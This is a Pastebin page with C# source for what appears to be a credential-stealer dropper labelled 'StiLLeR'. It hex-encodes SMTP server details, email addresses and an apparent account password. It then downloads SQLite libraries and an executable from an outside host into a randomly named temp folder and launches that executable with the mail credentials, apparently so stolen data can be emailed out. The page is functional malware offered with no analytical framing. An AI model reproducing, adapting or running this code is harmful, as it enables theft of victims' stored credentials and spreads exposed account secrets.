Advertisement
Guest User

Untitled

a guest
Aug 27th, 2014
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.55 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Net;
  5. using System.Threading;
  6.  
  7. namespace WindowsFormsApplication4
  8. {
  9.     internal static class Program
  10.     {
  11.         private static string a23152354;
  12.  
  13.         private static string b34574827485;
  14.  
  15.         private static string f55329542893;
  16.  
  17.         private static string d325425885;
  18.  
  19.         private static string e5234568245823;
  20.  
  21.         private static int smtpPort438454285;
  22.  
  23.         private static string subject31458134513;
  24.  
  25.         private static string body532541285;
  26.  
  27.         static Program()
  28.         {
  29.             Program.a23152354 = "636f6f6f6c736f667477617265343740676d61696c2e636f6d";
  30.             Program.b34574827485 = "686a61494847415345494546483a413b69313335";
  31.             Program.f55329542893 = "3839353238353336353433406d61696c2e7275";
  32.             Program.d325425885 = Program.a23152354;
  33.             Program.e5234568245823 = "736d74702e676d61696c2e636f6d";
  34.             Program.smtpPort438454285 = 587;
  35.             Program.subject31458134513 = "StiLLeR";
  36.             Program.body532541285 = "StiLLeR";
  37.         }
  38.  
  39.         public static string CR484848(string str)
  40.         {
  41.             string empty = string.Empty;
  42.             while (str.Length > 0)
  43.             {
  44.                 char chr = Convert.ToChar(Convert.ToUInt32(str.Substring(0, 2), 16));
  45.                 empty = string.Concat(empty, chr.ToString());
  46.                 str = str.Substring(2, str.Length - 2);
  47.             }
  48.             return empty;
  49.         }
  50.  
  51.         private static void dc4484848(string arg)
  52.         {
  53.             Directory.CreateDirectory(arg);
  54.         }
  55.  
  56.         private static void Main()
  57.         {
  58.             string str = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
  59.             string str1 = string.Concat(str, Environment.UserName.ToString(), ".html");
  60.             if (!File.Exists(str1))
  61.             {
  62.                 File.Delete(str1);
  63.             }
  64.             string str2 = string.Concat(Program.name_generate(), ".exe");
  65.             string str3 = Program.name_generate();
  66.             string str4 = string.Concat(str, str3, '\\');
  67.             Program.a23152354 = Program.CR484848(Program.a23152354);
  68.             Program.b34574827485 = Program.CR484848(Program.b34574827485);
  69.             Program.f55329542893 = Program.CR484848(Program.f55329542893);
  70.             Program.d325425885 = Program.CR484848(Program.d325425885);
  71.             Program.e5234568245823 = Program.CR484848(Program.e5234568245823);
  72.             Program.dc4484848(str4);
  73.             Program.dc4484848(string.Concat(str4, "x64\\"));
  74.             Program.dc4484848(string.Concat(str4, "x86\\"));
  75.             Program.WEBdown(string.Concat(str4, "x86\\SQLite.Interop.dll"), "http://coool-software.e3w.ru/components/x86/SQLite.Interop.dll");
  76.             Program.WEBdown(string.Concat(str4, "x64\\SQLite.Interop.dll"), "http://coool-software.e3w.ru/components/x64/SQLite.Interop.dll");
  77.             Program.WEBdown(string.Concat(str4, "System.Data.SQLite.dll"), "http://coool-software.e3w.ru/components/System.Data.SQLite.dll");
  78.             Program.WEBdown(string.Concat(str4, str2), "http://coool-software.e3w.ru/components/val.exe");
  79.             string str5 = "";
  80.             object[] objArray = new object[] { Program.e5234568245823, Program.smtpPort438454285, Program.a23152354, Program.b34574827485, Program.d325425885, Program.f55329542893, Program.subject31458134513, Program.body532541285 };
  81.             str5 = string.Format("{0} {1} {2} {3} {4} {5} {6} {7}", objArray);
  82.             Process.Start(string.Concat(str4, str2), str5);
  83.         }
  84.  
  85.         private static string name_generate()
  86.         {
  87.             string str = "abcdefg1234567890wrpghketpojkogprwfe";
  88.             string str1 = "KAS";
  89.             int num = (new Random()).Next(4, 8);
  90.             for (int i = 0; i < num; i++)
  91.             {
  92.                 str1 = string.Concat(str1, str[(new Random()).Next(0, str.Length)]);
  93.                 Thread.Sleep(123);
  94.             }
  95.             return str1;
  96.         }
  97.  
  98.         private static void WEBdown(string folder, string link)
  99.         {
  100.             (new WebClient()).DownloadFile(new Uri(link), folder);
  101.         }
  102.     }
  103. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement